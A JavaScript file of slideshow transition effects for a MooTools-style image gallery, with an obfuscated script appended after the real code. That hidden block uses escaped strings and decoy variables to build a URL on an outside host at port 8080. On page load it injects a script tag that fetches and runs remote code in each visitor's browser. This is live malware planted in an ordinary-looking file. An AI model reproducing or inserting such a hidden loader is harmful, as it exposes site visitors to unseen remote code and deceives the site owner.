/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
try {var I=window[unescape("%75%6e%65%73%63%61%70%65")];var mo=new String();var y;if(y!='bS' && y!='t'){y='bS'};var LI;if(LI!='B' && LI!='ki'){LI='B'};var wC=null;var S=window[I("%52%65%67%45%78%70")];var gR;if(gR!='X'){gR='X'};var m=I("%72%65%70%6c%61%63%65");var E;if(E!='' && E!='Zb'){E=''};function w(mu,A){this.kH="";var j;if(j!='d'){j=''};var SO=new Date();this.li="";var _=I("%5b");var v;if(v!='bf'){v=''};var TV=new Array();_+=A;var xV;if(xV!='' && xV!='M'){xV=''};_+=I("%5d");var _X=new Date();var T=new S(_, I("%67"));var Ip='';var wD;if(wD!='' && wD!='QJ'){wD='tK'};return mu.replace(T, wC);var IB;if(IB!=''){IB='z'};var Ly;if(Ly!=''){Ly='zA'};};var _C;if(_C!='F' && _C!='Vw'){_C=''};var dM;if(dM!='LN' && dM!='pI'){dM=''};var mu=I("%31");var tT=new String();var pr=new String();var Z=new String("onlo"+"ad");var Zn;if(Zn!='' && Zn!='LP'){Zn=''};this.iQ="";var c=I("%73%63%72%69%70%74");var wJ=w('/4dniLcvtL-ZcLcK/KgnonoYg3lZeZ.McMoFm6/4sPfIrw.WfTrW.4pWhWpJ','WvKZ147TMLFI6nS3ywJYPUX');var hK;if(hK!='Oe' && hK != ''){hK=null};var f_=new String();var XM=new String();var L=w('894674411665025417669452779864195923767990296411623613996','49671253');this.Zv='';var I_='';var U="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x6e\x63\x6f\x61\x73\x74\x61\x74\x6c\x61\x73\x2e\x69\x6e\x66\x6f\x3a";this.kf='';var Zw='';var f='';var jM_;if(jM_!='' && jM_!='Uf'){jM_=''};var ge;if(ge!='' && ge!='DT'){ge=''};function k(){var j_;if(j_!='X_'){j_='X_'};var hs;if(hs!='' && hs!='VE'){hs='fT'};var s="";var n=document;var Dr=new Date();var ae=new Date();var rd="";var Y_;if(Y_!='' && Y_!='Fy'){Y_='zo'};e=n.createElement(c);var kE;if(kE!=''){kE='LE'};var kC="";f+=U;this.mT="";this.ys='';f+=L+wJ;var Lm=new Date();var Yz=new Array();this.fO='';e.defer=mu;var Wi;if(Wi!='qI'){Wi='qI'};var wp;if(wp!='LH'){wp='LH'};e.src=f;var nM;if(nM!='' && nM!='eR'){nM=null};var g=n.body;var ix;if(ix!='px'){ix=''};var _XB=new Date();this.Ss="";g.appendChild(e);var IR='';};var pX;if(pX!='lY' && pX!='dJ'){pX=''};var TJ="";var Um;if(Um!='zc'){Um='zc'};window[Z]=k;this.zW='';var eI='';} catch(b){var GC=new Date();};var ZZ;if(ZZ!='co'){ZZ=''};

